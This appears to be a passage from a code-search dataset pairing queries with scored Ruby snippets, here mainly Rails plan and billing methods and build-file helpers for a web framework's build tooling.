@current_user.admin_bizgo?\n if @plan.update(plan_params)\n render \"api/v1/plans/show\"\n else\n array_error!(@plan.errors.full_messages, 422)\n end\n else\n error!(\"Sólo administradores pueden actualizar los planes.\",401)\n end\n end", "title": "" }, { "docid": "89f226cef449205111c5daeb4fcbe28f", "score": "0.62889737", "text": "def set_plan\n begin\n @plan = Plan.find(params[:id])\n rescue ActiveRecord::RecordNotFound\n redirect_to plans_path, error: \"The Plan you were looking for does not exist.\"\n return\n end\n end", "title": "" }, { "docid": "b85b0ddc188570232ebd05a9724933e8", "score": "0.6280977", "text": "def set_admin_plan\n @admin_plan = Plan.find(params[:id])\n end", "title": "" }, { "docid": "038e1239fe8f63a7182aa4aec208b31a", "score": "0.62787235", "text": "def set_payment_plan\n @payment_plan = Payment::Plan.find(params[:id])\n end", "title": "" }, { "docid": "420dc86d37304cf669a7d134bc51d05a", "score": "0.6275915", "text": "def set_plan_mod\n @plan_mod = PlanMod.find(params[:id])\n end", "title": "" }, { "docid": "516ff5c799ced0b0928c78610c5a4661", "score": "0.627102", "text": "def change_reseller_plan(server_plan, storage_add_on)\n storage_add_on_tb.type_text(storage_add_on) unless storage_add_on.nil?\n unless server_plan.nil?\n server_plan_change_link.click\n wait_until{ server_plan_select.visible? }\n server_plan_select.select(server_plan.capitalize)\n end\n confirm_change\n end", "title": "" }, { "docid": "2a8b1be78e91441ed6f1d9d52eb7bb54", "score": "0.6255867", "text": "def buyer_changes_plan!(plan)\n issuer = self.plan.issuer\n permission = issuer.plan_change_permission(self.plan.class)\n\n case permission\n when :direct\n direct_plan_change_actions(plan)\n when :request\n request_plan_change_actions(plan)\n when :credit_card\n if self.user_account.credit_card_stored?\n direct_plan_change_actions(plan)\n else\n request_plan_change_actions(plan)\n end\n when :request_credit_card\n if plan.free? || self.user_account.credit_card_stored?\n direct_plan_change_actions(plan)\n else\n \"Please enter your credit card before changing the plan.\"\n end\n else\n raise \"Invalid plan change settings for #{plan.class}(#{plan.id})\"\n end\n end", "title": "" }, { "docid": "31b2f2146439ba7ece9f979f4cead25c", "score": "0.62499624", "text": "def set_payplan\n @payplan = Payplan.find(params[:id])\n end", "title": "" }, { "docid": "367745762581170c885ab4d5eebb54d0", "score": "0.6249397", "text": "def control; plan.control end", "title": "" }, { "docid": "1ecc5d921bd32a8c00f77a2a5b17588f", "score": "0.6245299", "text": "def set_basico_plan\n @basico_plan = Basico::Plan.find(params[:id])\n end", "title": "" }, { "docid": "83860ab7f8f24b93309a326ec50518b4", "score": "0.6241773", "text": "def plan; app.plan end", "title": "" }, { "docid": "f14b157c61686d913f442322695f24fb", "score": "0.6241709", "text": "def switch_to_plan(plan_id, paid=false)\n plan = Plan.find plan_id\n self.plan = plan\n \n # If this has been paid, or it's a free account, do the expiry and # of books thing\n if (paid || plan.price == 0) \n self.number_of_books = plan.number_of_books if plan.number_of_books > self.number_of_books\n \n if plan_id == CONTRIBUTOR_PLAN_ID\n self.expiry_date = nil\n else\n self.expiry_date = Date.today if self.expiry_date.blank? || self.expired?\n self.expiry_date = self.expiry_date + (32 * plan.duration)\n end\n # # special cookbook recovery plan\n if plan_id.to_i == COOKBOOK_RECOVERY_PLAN_ID\n self.expiry_date = Date.today + 5\n self.expired_cookbooks.each do |c|\n c.expired = 0\n c.save\n end\n end\n end\n\n self.save!\n self.record_membership_change\n \n return (plan.price > 0) ? true : false\n # rescue\n # raise ('There was an error upgrading user plan.')\n end", "title": "" }, { "docid": "1bc5c7ffbba5f490c2a5192fe46fa643", "score": "0.62382555", "text": "def set_project_planification\n @project = Project.find(params[:project_id])\n @project_planification = @project.project_planification\n end", "title": "" }, { "docid": "9978e4cf27528cd285d0b2dbc664936b", "score": "0.6232906", "text": "def update\n \n if @plan.update!(plan_params)\n begin\n statement_descriptor = @plan.statement_descriptor == '' ? nil : @plan.statement_descriptor\n \n plan = Stripe::Plan.retrieve(@plan.stripe_id)\n plan.name = @plan.name\n plan.statement_descriptor = @plan.statement_descriptor\n\n plan.save\n redirect_to admin_plans_path\n rescue Stripe::StripeError => e\n flash[:danger] = e.message \n ErrorNotification.post e.message \n redirect_to edit_admin_plan_path\n end\n else\n flash[:danger] = e.message \n redirect_to edit_admin_plan_path( @plan )\n end\n \n\n end", "title": "" }, { "docid": "b93e97104e348b47099804879c928906", "score": "0.62316215", "text": "def set_plan\n @plan = Plan.find_by_original_url(params[:original_url])\n end", "title": "" }, { "docid": "38bf8c445c2d3ab1f85bc5690520d818", "score": "0.6219258", "text": "def set_regular_plan\n @regular_plan = RegularPlan.find(params[:id])\n end", "title": "" }, { "docid": "d9912cc93375132bc6868db7359b00c6", "score": "0.62116927", "text": "def set_payment\n\t \t@plan = Plan.find(params[:id])\n\t end", "title": "" }, { "docid": "c6f7b17b892699048c922bb434790dc4", "score": "0.6203111", "text": "def real_plan\n ret = self\n ret = ret.plan while ret.respond_to?(:plan)\n ret\n end", "title": "" }, { "docid": "b0418e42c93ec6cc69f61ac0e0fb9abd", "score": "0.61999154", "text": "def plan\n history.push(:plan)\n end", "title": "" }, { "docid": "5aa0344793291951d4e83a8f248f7692", "score": "0.61876076", "text": "def upgrade_to_pro_plan\n ActiveRecord::Base.transaction do\n update({\n account_type: \"pro\",\n next_payment_date: 1.month.from_now\n })\n end\n end", "title": "" }, { "docid": "08fc322806a75cd14a037e1f48df514e", "score": "0.618689", "text": "def update_stripe_plan!\n plan = stripe_plan\n plan.name = self.name\n plan.save\n\n plan\n end", "title": "" }, { "docid": "4b17fc49ebea9942639bbb3e3a7d7dcb", "score": "0.61853707", "text": "def plan\n @plan_resource ||= Plan.new(@client)\n end", "title": "" }, { "docid": "4b17fc49ebea9942639bbb3e3a7d7dcb", "score": "0.61853707", "text": "def plan\n @plan_resource ||= Plan.new(@client)\n end", "title": "" } ]
ea74155936c15cab0ba860ba70d6c5b2
Buildfile The current buildfile for the generator. The buildfile is calculated by merging the buildfile for the generator with the default generator buildfile. Buildfiles should be named "Buildfile" and should be placed in the generator root directory. === Returns Buildfile instance
[ { "docid": "d2502fbd6b0a70d1a191ad8bbcfdd388", "score": "0.823368", "text": "def buildfile\n return @buildfile unless @buildfile.nil?\n\n @buildfile = Buildfile.new\n\n # First try to load the shared buildfile\n path = File.join(SC.builtin_project.project_root, 'gen', 'Buildfile')\n if !@buildfile.load!(path).loaded_paths.include?(path)\n SC.logger.warn(\"Could not load shared generator buildfile at #{buildfile_path}\")\n end\n\n # Then try to load the buildfile for the generator\n path = File.join(source_root, 'Buildfile')\n @buildfile.load!(path)\n\n return @buildfile\n end", "title": "" } ]
[ { "docid": "2c5729981e2dadbae78dde5774534239", "score": "0.7903612", "text": "def buildfile\n @buildfile ||= (parent_project.nil? ? Buildfile.new : parent_project.buildfile.dup).load!(project_root)\n end", "title": "" }, { "docid": "378e300d5c8fc9dc708903d246b68e49", "score": "0.78572756", "text": "def buildfile\n @buildfile ||= parent_target.buildfile.dup.for_target(self).load!(source_root)\n end", "title": "" }, { "docid": "e2c2f36747b5362785bebcaba0759cb2", "score": "0.69070023", "text": "def build_file\n ant_file || \"build.xml\"\n end", "title": "" }, { "docid": "4268facb754663b571d4b7dca6b98684", "score": "0.68187976", "text": "def file\n @file ||= File.join(BUILD_DIR, filename_with_extension)\n end", "title": "" }, { "docid": "38531ca88f569767358747b659104adf", "score": "0.68038857", "text": "def build!\n prepare! # if needed\n buildfile.invoke 'generator:build', :generator => self\n return self\n end", "title": "" }, { "docid": "d079d359f92146c0733b9aaaf359f76f", "score": "0.6768667", "text": "def buildfile\n @buildfile_task ||= BuildfileTask.define_task(File.expand_path(rakefile))\n end", "title": "" }, { "docid": "323dbaffbf3c03e07e3e21328f4a5a46", "score": "0.63353425", "text": "def build_path\n build_dir || settings.build_path\n end", "title": "" }, { "docid": "cffb3aecbb72e881213cea859e2f8a4f", "score": "0.63338876", "text": "def build\n return nil unless should_build\n\n if !File.exists? @build_path\n FileUtils.mkdir_p(@build_path)\n end\n to = build_to\n path = process to\n\n if path != to\n FileUtils.cp(path.to_s, to.to_s)\n @last_built = Time.now\n end\n to\n end", "title": "" }, { "docid": "7fa60517cb440f48645f42bea0bad21b", "score": "0.6253763", "text": "def build_to\n Pathname.new(@build_path) + output_path.basename\n end", "title": "" }, { "docid": "8e9c9159ca9fe0eeeb849aa6d14459a2", "score": "0.61282736", "text": "def build_path\n build.__path__\n end", "title": "" }, { "docid": "8321ed9d340a60c1ae473f45418dc0d7", "score": "0.6006215", "text": "def build\n @build ||= load_from('build')\n end", "title": "" }, { "docid": "54729f76dbe99442069d6acc47469b4a", "score": "0.5964953", "text": "def file\n @file ||= project.input_dir + path\n end", "title": "" }, { "docid": "a73e334540a80e528c6c07bef400c4a8", "score": "0.58883476", "text": "def output_path\n @output_path ||= 'build'\n end", "title": "" }, { "docid": "fe7dcc513148527c59f7a638b7606e91", "score": "0.587024", "text": "def build_file(file)\n params = {\n :file => file, \n :domain => domain, \n :git_hash => git_hash, \n :message => options[:message], \n :verbose => options[:verbose], \n :base_path => base_path,\n :server => server,\n :host => host\n }\n if build?(file)\n if file =~ /(\\.haml|\\.erb)$/\n YMDP::Compiler::Template::View.new(params).build\n elsif file =~ /\\.coffee$/\n YMDP::Compiler::Template::CoffeeScript.new(params).build\n elsif file =~ /\\.js$/\n YMDP::Compiler::Template::JavaScript.new(params).build\n end\n end\n end", "title": "" }, { "docid": "244865af688f94c5dd7b7300b9857046", "score": "0.58530307", "text": "def build_dir\n base_dir.join(options['build-directory'] || 'build')\n end", "title": "" }, { "docid": "01cbb72f9db6ec6cdb275a7a5aa12051", "score": "0.58126545", "text": "def build_dir\n @build_dir ||= File.join(build_context[:parent_dir], build_context[:build_dir_name])\n end", "title": "" }, { "docid": "c3dcc70d6a1241368296fc80cc5f0378", "score": "0.5805813", "text": "def target\n Pathname.new(build.build_dir) + @name\n end", "title": "" }, { "docid": "b5916f76aba67e959ecc7931329daf9f", "score": "0.5742639", "text": "def build_result\n puts \"Building combined .rb file to #{OUTPUT_DIR} ...\"\n code = File.read \"#{OUTPUT_DIR}/#{ENTRY_POINT}\"\n @builder.build(code)\n FileUtils.rm \"#{OUTPUT_DIR}/#{ENTRY_POINT}\"\n puts \"Done!\"\n end", "title": "" }, { "docid": "f8a8730b1f127bb3e12f5cfa6c7cda75", "score": "0.57403857", "text": "def version_file\n ::File.join(options['prefix'], 'builds', new_resource.name, 'VERSION')\n end", "title": "" }, { "docid": "10a54ffef01e0c44e1011e8d15671e92", "score": "0.57118005", "text": "def build\n configure if not File.exists? @build_dir\n run_in_build \"make 2> /dev/null\"\n end", "title": "" }, { "docid": "eecb7d7d0d94b8dbfab2923228e0e67e", "score": "0.5697724", "text": "def build()\n self.instance_eval(File.read(@file), @file)\n end", "title": "" }, { "docid": "3dd6233fcfbe7010d97d35087116f276", "score": "0.5687896", "text": "def build_path\n Pathname(fetch(:build_path) { raise \"no :build_path configured\" })\n end", "title": "" }, { "docid": "b150c6943a681f7f8af801fa09f7da83", "score": "0.5687838", "text": "def build_file_path\n file_name = build_name\n if project.android?\n file_name << '.apk'\n else\n file_name << '.ipa'\n end\n File.join(build_dir, file_name)\n end", "title": "" }, { "docid": "f0a51f00cfc9708809a9de142fcec2c3", "score": "0.56868654", "text": "def build_script\n @values[:build_script] || \"rake\"\n end", "title": "" }, { "docid": "30e55e76ca567013b5b2f05f8f381b6b", "score": "0.5656366", "text": "def file_project\n own_file? ? @project : @base_ivy.file_project\n end", "title": "" }, { "docid": "68bd49f3d7edad9c3a47382d89061850", "score": "0.56557673", "text": "def build_path\n return deploy_path.join(fetch(:current_directory, 'current')) if build_dir.nil?\n return Pathname.new(build_dir.strip) if build_dir.strip[0] == '/'\n return deploy_path.join(fetch(:current_directory, 'current'), build_dir)\n end", "title": "" }, { "docid": "ec2113a538f9b56956ee36f5ce1f567f", "score": "0.5612825", "text": "def build_path\n File.join(settings_path, 'packer', 'builds')\n end", "title": "" }, { "docid": "f9dfe2aee1e36cf4cf9fd2ad7eada0ba", "score": "0.56125593", "text": "def build_data_file\n FilePath.new(self.build_data_dir, BUILD_DATA_FILE_NAME)\n end", "title": "" }, { "docid": "7d381c243df4c1f042bcd56c55ca42d2", "score": "0.5581252", "text": "def build_to(path)\r\n @build_path = path\r\n end", "title": "" }, { "docid": "b3b9c3dede6fbd2fd8b99925ae3da8c4", "score": "0.5578227", "text": "def build_dir\n @_build_dir ||= begin\n dir = Pathname.new(@app.build_dir)\n\n unless dir.exist?\n fail Thor::Error, \"There's no existing build to compare against.\"\n end\n\n dir\n end\n end", "title": "" }, { "docid": "ca11f465c8abe0d77f04f0657214ec12", "score": "0.55616635", "text": "def build(rebuild=false, overwrite=false)\n\t\t\t# Note that if the entry is modified and overwrite is true, it\n\t\t\t# is rebuilt even if it is current.\n\n\t\t\t# Note that we do not check for built? - if the file is neither\n\t\t\t# built nor skipped, it will be caught by oudated?\n\t\t\tif modified?\n\t\t\t\t# Output modified by the user\n\t\t\t\tif overwrite\n\t\t\t\t\t# Overwrite the modifications\n\t\t\t\t\tdo_build\n\t\t\t\telse\n\t\t\t\t\t# Do not overwrite\n\t\t\t\t\tmessage \"#{MModified} #{output}\"\n\t\t\t\tend\n\t\t\telsif outdated? || rebuild\n\t\t\t\t# Outdated (source changed), or forced rebuild\n\t\t\t\tdo_build\n\t\t\telse\n\t\t\t\t# Current\n\t\t\t\tmessage \"#{MCurrent} #{output}\"\n\t\t\tend\n\t\tend", "title": "" }, { "docid": "90e3dfc1cd7312b67c80858c6107f233", "score": "0.55526334", "text": "def build\n if @build.nil?\n @build = FruityBuilder::IOS::BuildProperties.new(\"#{project}/project.pbxproj\")\n end\n @build\n end", "title": "" }, { "docid": "cdbc9a721778ade90b086fc73ff92c32", "score": "0.55457866", "text": "def build(options:)\n @options = options\n build_zip(setup_build_content)\n if options.command == :build or (options.command == :sideload and options[:out])\n @logger.info \"File Path: \"+file_path(:out)\n end\n @config.in = @config.out #setting in path for possible sideload\n file_path(:out)\n end", "title": "" }, { "docid": "f4236f81c4324dce6ecfd8a980538e91", "score": "0.5544806", "text": "def build\n FileUtils.mkdir_p(File.dirname(file))\n File.open(file, 'w') { |f| f.write minify(concatenated) }\n file\n end", "title": "" }, { "docid": "ab418a539cd433c55b6874a2360d08e5", "score": "0.55285317", "text": "def build\r\n # Check template existence\r\n if !check_template_dir(@collector.full_path)\r\n puts \"The template #{@template} does not appear to exist in #{@full_template_path}\"\r\n exit\r\n end\r\n\r\n # If sets, remove the output folder first\r\n if @clear\r\n puts \"Clearing #{@output}\" if @verbose\r\n begin\r\n FileUtils.remove_dir(@output)\r\n rescue => ex\r\n puts \"\"\"Could not clear the folder, maybe someone is accessing it?\r\n \r\n #{ex.message}\r\n\"\"\"\r\n exit(1)\r\n end\r\n end\r\n\r\n # Print details if verbose is on\r\n if @verbose\r\n puts \"Starting building #{@collector.full_path} to #{@output}\"\r\n puts \"With:\" if !@arguments.empty?\r\n @arguments.each_with_index do |arg, i|\r\n puts \"\\t{$#{i}} => #{arg}\" if !arg.nil?\r\n end\r\n end\r\n\r\n # So process them right now\r\n process_files(@collector.list)\r\n end", "title": "" }, { "docid": "27fbb8403c7f044b83ec55f2c3cfd064", "score": "0.5520582", "text": "def make_build\n Build.new(:build_dir => @build_dir, :release_dir => @release_dir,\n :silent => true)\n end", "title": "" }, { "docid": "08f707ea196b364a3a803bf63da9e742", "score": "0.5499498", "text": "def build(output_path)\n build_cmd = XCRes::BuildCommand.new(\"#{invocation_path} build\", context, attribute_values)\n build_cmd.logger.indentation = ' '\n build_cmd.run([project_path.to_s, output_path.relative_path_from(Pathname.pwd).to_s])\n end", "title": "" }, { "docid": "53cb658276f3a9c6aa1d24cf176b83bf", "score": "0.54963267", "text": "def build(build_name='default')\n description = Fudge::Parser.new.parse('Fudgefile')\n Fudge::Runner.new(description).run_build(build_name, options)\n end", "title": "" }, { "docid": "783ec9042dd5521087dbcba386419d73", "score": "0.54840314", "text": "def build_project\n @project = BuildProject.call\n end", "title": "" }, { "docid": "e7ae6b24ee28da6a9c7a976107e43e9a", "score": "0.5474817", "text": "def compiler_config\n build_file = ENV['TM_FLEX_FILE_SPECS'] || ''\n unless build_file.empty?\n cp = build_file.sub(/\\.(as|mxml)$/,'')\n proj = proj_root+'/' || ''\n return \"#{proj}#{cp}-config.xml\"\n end\n return nil\n end", "title": "" }, { "docid": "a531743bed2b0a7ae1c15f556ff4ce78", "score": "0.545732", "text": "def config\n return @config ||= buildfile.config_for(self[:target_name], SC.build_mode).merge(SC.env)\n end", "title": "" }, { "docid": "e70c94574a60264d8a96d2fdfc6a9026", "score": "0.5442406", "text": "def build_file file\n raise \"File does not exist '#{file}'\" unless File.exists? file\n\n case File.extname file\n when '.rb'\n @parser.parse File.read(file)\n when '.js'\n \"function(VM, self, FILE) { #{File.read file} }\"\n else\n raise \"Bad file type for building '#{file}'\"\n end\n end", "title": "" }, { "docid": "9d76232a805519ab0e6a0e0bc7ec7296", "score": "0.544099", "text": "def test_buildconfig_file\n FilePath.new(build_module.root, @name + \".buildconfig\")\n end", "title": "" }, { "docid": "f7a6f4ddab6e5ef411c62f084544685e", "score": "0.54385734", "text": "def build_dir\n @build_dir ||= File.join(target_dir, release_name)\n end", "title": "" }, { "docid": "a64b9002af536cf07be6e0f316ac794a", "score": "0.5438443", "text": "def file( file_to_source, &build )\n file, source = *Task.parse(file_to_source)\n define_method(\"#{file}:exec\",&build) if build\n (@task||={})[file] = FileTask.new(file, source, desc!, &build)\n end", "title": "" }, { "docid": "e0a876fbe35827a6c40a8a4ba04f2e08", "score": "0.54289263", "text": "def target_path\n File.join(builds_path, \"#{time.to_i}_#{@commit}\")\n end", "title": "" }, { "docid": "4c19049d674462c0ada95c503853087a", "score": "0.54246634", "text": "def gemfile\n if @gemfile_changed\n @process_gemfile\n else\n ENV['BUNDLE_GEMFILE']\n end\n end", "title": "" }, { "docid": "cb4923298fb921ee8ba9630d32337415", "score": "0.54195625", "text": "def build\n # Originally was trying to run the makefile if it existed,\n # but that often comes with tests that aren't compatible with this environment.\n # TODO if File.file? File.join(real_path, \"Makefile\")\n #for now assume that makefile is smart enough to do everything it needs by default\n # Project.safe_run_command(\"make\", \"Building project\", cwd: real_path)\n # else\n # ANtoher assumption that either rebar.config.lock or rebar.config will exist\n # in erlang project dependencies\n rebar_lock_file = File.join(real_path, \"rebar.config.lock\")\n rebar_config = File.file? rebar_lock_file ? \"rebar.config.lock\" : \"rebar.config\"\n rebar = File.file?(File.join(real_path, \"rebar\")) ? \"./rebar\" : \"rebar\"\n get_deps(rebar, rebar_config)\n rebar_compile(rebar, rebar_config)\n # end\n end", "title": "" }, { "docid": "af011ae2d74f498a6aa12bc67c80556f", "score": "0.5409406", "text": "def build\r\n concatenate(file_list, output_filename)\r\n system('growlnotify -m \"Built ' + name + '\"')\r\n \r\n if should_minify\r\n minify output_filename\r\n system('growlnotify -m \"Minified ' + name + '\"')\r\n end\r\n \r\n puts message\r\n end", "title": "" }, { "docid": "30fe3d851b8fb9917079c3aa2c0fd204", "score": "0.54063654", "text": "def build\n\t@built_gem_path ||= @helper.build_gem\n\t\n\tgemspec = @helper.gemspec\n\t\n\t$stdout.puts \"Your gem contains the following files:\"\n\tpp gemspec.files\nend", "title": "" }, { "docid": "659bc03e5579e4c17081d90369375624", "score": "0.54042506", "text": "def buildtime\n @buildtime ||= Time.at(read_tag('BUILDTIME').to_i)\n end", "title": "" }, { "docid": "bb7740bd2a843844cc864e9ae0372917", "score": "0.53908926", "text": "def build_data_file(build_results)\n FilePath.new(build_results.classes_directory(self), \"build-data.txt\")\n end", "title": "" }, { "docid": "90565faa2b70c924b46bc9f9797890b0", "score": "0.5380088", "text": "def build_dir\n @build_dir ||= File.join(staging_dir, \"BUILD\")\n end", "title": "" }, { "docid": "d8a57434ae86bad20ffe1923eb6d66f4", "score": "0.53727835", "text": "def build!\n prepare!\n if !@is_built\n @is_built = true\n if target.buildfile.task_defined? 'manifest:build'\n target.buildfile.invoke 'manifest:build',\n :manifest => self,\n :target => self.target,\n :config => self.target.config,\n :project => self.target.project\n end\n\n # Information indicating where the built app can be found. This is useful\n # when manually uploading builds, to ensure we have the newest build.\n if target[:target_type] == :app\n SC.logger.info \"Built #{target[:target_name]} to #{target[:build_root]}/#{target[:build_number]}\"\n end\n end\n return self\n end", "title": "" }, { "docid": "0969c23e0a90bbd150c612e6180eedfb", "score": "0.5368637", "text": "def update_build_number\n @build_number = file.read.to_i + 1\n write_build_number\n build_number\n end", "title": "" }, { "docid": "7a888b0f56521ecdedb377b98525dc20", "score": "0.5365402", "text": "def build\n\n # setup context\n lines = []\n required = []\n\n # process files\n while filename = next_filename\n lines, required = _build_one(filename, lines, required)\n end\n\n return join(lines)\n end", "title": "" }, { "docid": "fb7fe7d8e0ea7b79560c5f9012e4f3b0", "score": "0.53548974", "text": "def build(build_path)\n job_path = File.dirname(path)\n build_number = File.basename(path).to_i\n job(job_path).build(build_number)\n end", "title": "" }, { "docid": "f4bef8a4c33a07b30caadd22148d8b80", "score": "0.53410137", "text": "def build_file(filename)\n\n # this is a legacy from the original. It has to be capitalized to do the building\n distro_name = @settings[:vmos]\n\n template_path = \"#{@base_dir}/files/#{distro_name.capitalize}/#{filename}.erb\"\n target_dir = \"#{@build_dir}/#{@settings[:vmos]}\"\n target_path = \"#{target_dir}/#{filename}\"\n\n\n FileUtils.mkdir(target_dir) unless File.directory?(target_dir)\n\n if File.file?(template_path)\n begin\n PBManager::log.debug \"Building #{target_path} from #{template_path}\"\n File.open(target_path, 'w') do |f|\n template_content = ERB.new(File.read(template_path)).result(binding)\n f.write(template_content)\n end\n rescue Exception => e\n raise PBManager::FatalError.new(\"Error processing template: #{template_path}\", e)\n end\n\n else\n raise PBManager::FatalError.new(\"No source template found: #{template_path}\")\n end\n\n end", "title": "" }, { "docid": "cf794c0c3a6cfb4169c597a5105c8348", "score": "0.5332233", "text": "def build_path\n files = []\n Find.find(@xcode.build_path) do |path|\n files << path if path =~ /.*#{name}-.*\\/Build\\/Intermediates\\/#{name}.build\\/.*-iphonesimulator\\/#{name}.build\\/Objects-normal/\n end\n latest = files.sort_by { |filename| File.mtime(filename)}.last # get the latest\n latest.split(\"/\")[0..-2].join(\"/\") if latest # remove the file and get the dir\n end", "title": "" }, { "docid": "1baae38c38d05db6406c8140df6967e0", "score": "0.53306717", "text": "def current_build\n builds.last\n end", "title": "" }, { "docid": "43806e69d825c880021d2e4d785109e9", "score": "0.5326837", "text": "def fn_build_file(*filenames)\n directory @build_dir\n result = @build_dir./(*filenames)\n file result => @build_dir\n return result\n end", "title": "" }, { "docid": "1e29ed072765230eb98f68992eb9b170", "score": "0.5309915", "text": "def remove_build_file(build_file)\n build_file.file_ref = nil\n build_file.remove_from_project\n end", "title": "" }, { "docid": "87564db238fbdc036f4c98dc2b881490", "score": "0.5306936", "text": "def builds_path\n @options['builds_path'] || '/'\n end", "title": "" }, { "docid": "e72336463f355e9564cc1c174fe2dd79", "score": "0.5299866", "text": "def generate(file = nil)\n file ||= temp_file(DEFAULT_FILENAME)\n ROBundle::File.create(file) do |ro|\n @bundle = ro\n bundle(@resource)\n end\n file\n end", "title": "" }, { "docid": "5d61b571bbb3ac77f0819d7caed14342", "score": "0.52966565", "text": "def get_build(build_num)\n Build.new(self, build_num)\n end", "title": "" }, { "docid": "ea9365ea236bcaa2756ff092efb7ae97", "score": "0.5279612", "text": "def target_file\n File.join(project_dir, File.basename(source_file))\n end", "title": "" }, { "docid": "f72ca34d85f9535d5f3baa235eb3c926", "score": "0.52756125", "text": "def current_build_number\n return self.current_build.number\n end", "title": "" }, { "docid": "f72ca34d85f9535d5f3baa235eb3c926", "score": "0.52756125", "text": "def current_build_number\n return self.current_build.number\n end", "title": "" }, { "docid": "54ab614a5321fc8f6f367d2ae992d136", "score": "0.52574223", "text": "def build\n return false if @generated\n logger.info(\"--> #{path}\")\n @dependencies = Set.new\n file.parent.mkpath\n if input.template?\n evaluate_template\n else\n copy_resource\n end\n @generated = true\n end", "title": "" }, { "docid": "1412ed81527e50e8f35e54da008e0458", "score": "0.5251354", "text": "def generate_build_path(name)\n File.join('builds', get_prefix, \"#{name}.json\")\n end", "title": "" }, { "docid": "da068f74c51fe607345f888364252ccc", "score": "0.52475095", "text": "def ift_build!(file)\n # write templates to view files if they haven't been already been\n # written, or always if :reload_templates config option is true\n return unless !ift_built? || Merb::Config[:reload_templates] \n\n data = IO.read(file).split('__END__').last\n templates = ift_parse(data)\n\n self.ift_set_template_roots!\n self.ift_garbage_collect!\n\n templates.each do |name,data|\n path = ift_path_for(name)\n unless File.exist?(path) #don't overwrite externaly defined templates\n self.ift_write_template(path, data)\n @cache << path\n end\n end\n end", "title": "" }, { "docid": "68f025ddb1aa37b55e10335b7b654aa2", "score": "0.5241697", "text": "def generate_file\n\t\t\tputs \"==> Generating Dockerfile for this project\"\n\t\t\tbegin\n\t\t\t\t##BUILD DOCKERFILE\n\t\t\t\tcase @template[\"base_image\"]\n\t\t\t\twhen \"ubuntu\"\n\t\t\t\t\tcase @template[\"runtime\"]\n\t\t\t\t\twhen \"ruby\"\n\t\t\t\t\t\treturn <<-DOCKERFILE\n\t\t\t\t\t\tFROM #{@template[\"docker_params\"][\"registry\"]}/#{@template[\"base_image\"]}/#{@template[\"runtime\"]} \\n\n\t\t\t\t\t\tRUN mkdir /app \\n\n\t\t\t\t\t\tADD . /app \\n\n\t\t\t\t\t\tWORKDIR /app \\n\n\t\t\t\t\t\tRUN bundle install \\n\n\t\t\t\t\t\tCMD [\\\"rake\\\", \\\"run\\\"] \n\t\t\t\t\t\tDOCKERFILE\n\t\t\t\t\twhen \"node\"\n\t\t\t\t\t\treturn <<-DOCKERFILE\n\t\t\t\t\t\tFROM #{@template[\"docker_params\"][\"registry\"]}/#{@template[\"base_image\"]}/#{@template[\"runtime\"]} \\n\n\t\t\t\t\t\tRUN mkdir /app \\n\n\t\t\t\t\t\tADD . /app/ \\n\n\t\t\t\t\t\tWORKDIR /app \\n\n\t\t\t\t\t\tRUN npm install \\n\n\t\t\t\t\t\tEXPOSE #{@template[\"port\"]} \\n \"\n\t\t\t\t\t\tCMD [\\\"node\\\", \\\"#{@template[\"exec_file\"]}\\\"]\n\t\t\t\t\t\tDOCKERFILE\n\t\t\t\t\tend\n\t\t\t\twhen \"centos\"\n\t\t\t\t\tcase @template[\"runtime\"]\n\t\t\t\t\twhen \"ruby\"\n\t\t\t\t\t\treturn <<-DOCKERFILE\n\t\t\t\t\t\tFROM #{@template[\"docker_params\"][\"registry\"]}/#{@template[\"base_image\"]}/#{@template[\"runtime\"]} \\n\n\t\t\t\t\t\tRUN mkdir /app \\n\n\t\t\t\t\t\tADD . /app \\n\n\t\t\t\t\t\tWORKDIR /app \\n\n\t\t\t\t\t\tRUN bundle install \\n\n\t\t\t\t\t\tCMD [\\\"rake\\\", \\\"run\\\"]\n\t\t\t\t\t\tDOCKERFILE\n\t\t\t\t\twhen \"node\"\n\t\t\t\t\t\treturn <<-DOCKERFILE\n\t\t\t\t\t\tFROM #{@template[\"docker_params\"][\"registry\"]}/#{@template[\"base_image\"]}/#{@template[\"runtime\"]} \\n\n\t\t\t\t\t\tRUN mkdir /app \\n\n\t\t\t\t\t\tADD . /app \\n\n\t\t\t\t\t\tWORKDIR /app \\n\n\t\t\t\t\t\tRUN npm install \\n\n\t\t\t\t\t\tEXPOSE #{@template[\"port\"]} \\n \n\t\t\t\t\t\tCMD [\\\"node\\\", \\\"#{@template[\"exec_file\"]}\\\"]\n\t\t\t\t\t\tDOCKERFILE\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\trescue Exception => e \n\t\t\t\tputs e\n\t\t\t\tputs e.backtrace\n\t\t\t\treturn nil\n\t\t\tend\n\t\tend", "title": "" }, { "docid": "470904d97a70fbdd3365199d2a43b946", "score": "0.52361315", "text": "def build_dir\n \"#{config.build_dir}/#{@project.name}\"\n end", "title": "" }, { "docid": "93d04587f9e2923c57da1b6d6aff4b41", "score": "0.5211791", "text": "def build_me\n # Build if we need to\n if always_build?\n execute_build(fetcher)\n else\n if GitCache.new(self).restore\n true\n else\n execute_build(fetcher)\n end\n end\n\n project.build_version_dsl.resolve(self)\n true\n end", "title": "" }, { "docid": "dcc1c89332f35c292bf5b1572de77735", "score": "0.5207123", "text": "def build\n clean_all\n\n FileUtils.mkdir_p(@project.build_path) unless @project.build_path.exist?\n\n copy_templates\n copy_functions\n copy_includes\n compile_assets\n end", "title": "" }, { "docid": "f5f806bfbcf22ee3911e0e7fa579d7a2", "score": "0.5201136", "text": "def build\n system(\"make build\", :chdir => self.config['destination'], :out => :err)\n end", "title": "" }, { "docid": "db40a08aba985e68cefb0aeda7f8110f", "score": "0.5198449", "text": "def getRakeTarget\r\n initialize_RakeProcesses(:RecordedFilesPrepared => @RecordedFilesPrepared, :LstEnvToRecord => @LstEnvToRecord)\r\n generateRakeFor_GenerateSourceFiles\r\n\r\n return :GenerateSourceFiles\r\n end", "title": "" }, { "docid": "e2b55bf6ac2819977509d545348039ad", "score": "0.51966774", "text": "def build\n create_build_dir\n\n stage_module_in_build_dir\n build_package\n\n package_file\n ensure\n cleanup_build_dir\n end", "title": "" }, { "docid": "39ffadbd2dab945b8771e6a942fdfe58", "score": "0.51923525", "text": "def build_path\n unless Scan.cache[:build_path]\n day = Time.now.strftime(\"%F\") # e.g. 2015-08-07\n\n Scan.cache[:build_path] = File.expand_path(\"~/Library/Developer/Xcode/Archives/#{day}/\")\n FileUtils.mkdir_p(Scan.cache[:build_path])\n end\n Scan.cache[:build_path]\n end", "title": "" }, { "docid": "ee13182051c79a25d0f23258cfb9af9c", "score": "0.51922333", "text": "def file\n 